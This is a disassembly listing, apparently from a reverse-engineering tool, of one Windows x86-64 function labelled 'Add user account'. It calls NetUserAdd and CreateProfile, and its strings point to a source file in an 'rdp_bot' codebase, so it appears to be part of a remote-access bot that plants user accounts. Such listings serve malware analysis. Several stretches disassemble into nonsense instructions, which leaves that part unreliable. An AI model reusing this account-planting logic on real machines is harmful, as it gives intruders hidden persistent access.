Function at 0x3bc1c521b
Capabilities:
Add user account

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3c0
mov rsi, rcx
mov rdi, rdx
xlatb
xlatb
mov r14d, r8d
mov r12, r9
test rcx, rcx
je 0x3bc1c533b
call sub.msvcrt.dll_strlen
lea rbx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea r8, [rbx + rbx]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x3bc1c5371
mov ebx, 0
test ebx, ebx
sete al
test rdi, rdi
setne dl
test dl, al
jne 0x3bc1c539b
mov r13d, 0
test ebx, ebx
je 0x3bc1c53f9
mov r14d, 0
test ebx, ebx
sete dl
test r14, r14
sete al
test dl, al
jne 0x3bc1c57e5
test ebx, ebx
je 0x3bc1c5661
test rbp, rbp
je 0x3bc1c52d1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbp
mov edx, 0
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x3bc1c52ed
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r13
mov edx, 0
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x3bc1c52f6
mov qword [r12], r14
test ebx, ebx
je 0x3bc1c57fb
mov r9d, ebx
and r9d, 0x3fffffff
test rsi, rsi
je 0x3bc1c57ef
mov r8, rsi
lea rdx, str.sam_user_add
lea rcx, str._E____s_____Failed_name_s_err_08x__n
call fcn.3bc1c1292
mov eax, ebx
add rsp, 0x3c0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x20], 0x442
lea r9, str.H:_Projects_rdp_bot_codebase_sam.c
lea r8, [0x3bc1d5493]
lea rdx, str.sam_user_add
lea rcx, [0x3bc1d5458]
call fcn.3bc1c1292
mov rbp, rsi
mov ebx, 0x40000004
jmp 0x3bc1c5273
mov rcx, rsi
call sub.msvcrt.dll_strlen
lea r8, [rax + rax + 2]
lea rdx, [0x3bc1d4ea0]
lea rcx, [0x3bc1d4eb0]
call fcn.3bc1c1292
mov ebx, 0x40000002
jmp 0x3bc1c5273
mov rcx, rdi
call sub.msvcrt.dll_strlen
lea r13, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea r8, [r13 + r13]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
jne 0x3bc1c528c
mov rcx, rdi
call sub.msvcrt.dll_strlen
lea r8, [rax + rax + 2]
lea rdx, [0x3bc1d4ea0]
lea rcx, [0x3bc1d4eb0]
call fcn.3bc1c1292
mov r14, r13
mov ebx, 0x40000002
jmp 0x3bc1c529a
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x1b8], r13
mov dword [rsp + 0x1c0], 0
mov dword [rsp + 0x1c4], 1
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0x1d0], 0
mov dword [rsp + 0x1d8], 0x510240
mov qword [rsp + 0x1e0], 0
mov dword [rsp + 0x1e8], 0
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 0
mov dword [rsp + 0x210], 0
mov dword [rsp + 0x214], 0
mov dword [rsp + 0x218], r14d
mov dword [rsp + 0x21c], 0xffffffff
mov dword [rsp + 0x220], 0
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x230], 0xffffffff
mov dword [rsp + 0x234], 0xffffffff
mov qword [rsp + 0x238], 0
mov dword [rsp + 0x240], 0
mov dword [rsp + 0x244], 0
mov rdx, rbp
mov rcx, rsi
call fcn.3bc1ca0cb
test rdi, rdi
je 0x3bc1c551c
mov rdx, r13
mov rcx, rdi
call fcn.3bc1ca0cb
mov r9d, 0
lea r8, [rsp + 0x1b0]
mov edx, 2
mov ecx, 0
call sub.NETAPI32.dll_NetUserAdd
mov edi, eax
test eax, eax
setne dl
cmp eax, 0x8b0
setne al
test dl, al
jne 0x3bc1c556e
test ebx, ebx
jne 0x3bc1c5656
call fcn.3bc1c387f
mov ebx, eax
test eax, eax
je 0x3bc1c5636
mov r14d, 0
jmp 0x3bc1c529a
mov r8d, edi
lea rdx, str.sam_user_add
lea rcx, str._E____s_____NetUserAdd_failed_res_08lx__n
call fcn.3bc1c1292
cmp edi, 0x20
ja 0x3bc1c559d
ja case.0x3bc1c559b.1
mov edi, edi
lea rdx, [0x3bc1d5c68]
movsxd rax, dword [rdx + rdi*4]
add rax, rdx
jmp rax
cmp edi, 0x94
je case.0x3bc1c559b.32
ja 0x3bc1c55de
cmp edi, 0x7f
ja 0x3bc1c55c6
cmp edi, 0x7e
jae case.0x3bc1c559b.2
cmp edi, 0x50
jne case.0x3bc1c559b.1
mov ebx, 0x40000007
mov r14d, 0
jmp 0x3bc1c529a
cmp edi, 0x91
jne case.0x3bc1c559b.1
mov ebx, 0x4000000d
mov r14d, 0
jmp 0x3bc1c529a
cmp edi, 0xb7
je 0x3bc1c55b6
cmp edi, 0x80070005
je case.0x3bc1c559b.5
cmp edi, 0xaa
je case.0x3bc1c559b.32
mov ebx, 0x40000001
mov r14d, 0
jmp 0x3bc1c529a
mov ebx, 0x40000009
mov r14d, 0
jmp 0x3bc1c529a
mov ebx, 0x40000003
mov r14d, 0
jmp 0x3bc1c529a
mov ebx, 0x40000008
mov r14d, 0
jmp 0x3bc1c529a
mov r9d, 0
mov r8, rsi
mov edx, 0
mov ecx, 0
call fcn.3bc1c4a4c
mov r14, rax
jmp 0x3bc1c529a
mov r14d, 0
jmp 0x3bc1c529a
lea rdi, [rsp + 0x30]
mov eax, 0
mov ecx, 0x2e
rep stosq qword [rdi], rax
mov word [rdi], 0
lea rdi, [rsp + 0x1b0]
mov ecx, 0x41
rep stosq qword [rdi], rax
mov rcx, qword [r14 + 0x18]
lea rdi, [rsp + 0x30]
jl 0x3bc1c56b4
xor byte [rax - 0x77], cl
cli
jl 0x3bc1c56b4
xor byte [rax - 0x77], cl
cli
call fcn.3bc1ca0cb
mov r9d, 0x104
add byte [rcx - 0x47], al
add al, 1
add byte [rax], al
lea r8, [rsp + 0x1b0]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.USERENV.dll_CreateProfile]
mov edi, eax
test eax, eax
setne dl
cmp eax, 0x800700b7
setne al
test dl, al
mov dword [rbp - 0x3d6af040], 0x700b73d
or byte [rdi], 0x95
rol byte [rdx + rax*8 - 0x4147bf1], 0xff
inc dword [rcx - 0x77]
clc
je case.0x3bc1c56fe.0
mov r8d, edi
lea rdx, str.sam_user_add
lea rcx, str._E____s_____CreateProfile_failed_res_08lx__n
call fcn.3bc1c1292
cmp edi, 0x20
jg 0x3bc1c5726
test edi, edi
js 0x3bc1c5700
cmp edi, 0x20
ja case.0x3bc1c56fe.1
mov edi, edi
lea rdx, [0x3bc1d5cec]
cmc
add eax, 0x63480001
add al, 0xba
cmc
add eax, 0x63480001
add al, 0xba
add rax, rdx
jmp rax
cmp edi, 0x80070005
je 0x3bc1c5781
invalid
jns 0x3bc1c56c4
mov ebx, 0x40000001
jmp case.0x3bc1c56fe.0
invalid
add dword [rax], eax
add byte [rax - 0x17], al
movabs dword [0x40000009bbfffffb], eax
invalid
mov ebx, 0x40000009
invalid
mov ebx, 0x40000009
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000001
jmp case.0x3bc1c56fe.0
cmp edi, 0x91
je 0x3bc1c579f
jg 0x3bc1c5753
cmp edi, 0x50
je 0x3bc1c57a9
jl 0x3bc1c57b3
sub edi, 0x7e
cmp edi, 1
ja 0x3bc1c5749
mov ebx, 0x40000003
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000001
jmp case.0x3bc1c56fe.0
cmp edi, 0xb7
je 0x3bc1c57bd
jg 0x3bc1c57c7
cmp edi, 0x94
je 0x3bc1c57d1
cmp edi, 0xaa
jne 0x3bc1c57db
mov ebx, 0x4000000d
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000003
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000009
jmp case.0x3bc1c56fe.0
mov ebx, 0x4000000d
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000008
jmp case.0x3bc1c56fe.0
mov ebx, 0x4000000d
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000007
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000001
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000007
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000001
jmp case.0x3bc1c56fe.0
mov ebx, 0x4000000d
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000001
jmp case.0x3bc1c56fe.0
mov ebx, 0x40000003
jmp case.0x3bc1c56fe.0
lea rsi, [0x3bc1d548e]
jmp 0x3bc1c5311
mov r9, qword [r14 + 0x18]
mov r8, qword [r14 + 8]
lea rdx, str.sam_user_add
lea rcx, str._I____s_____Done_name_s_s_sid_s__n
call fcn.3bc1c1292
jmp 0x3bc1c5327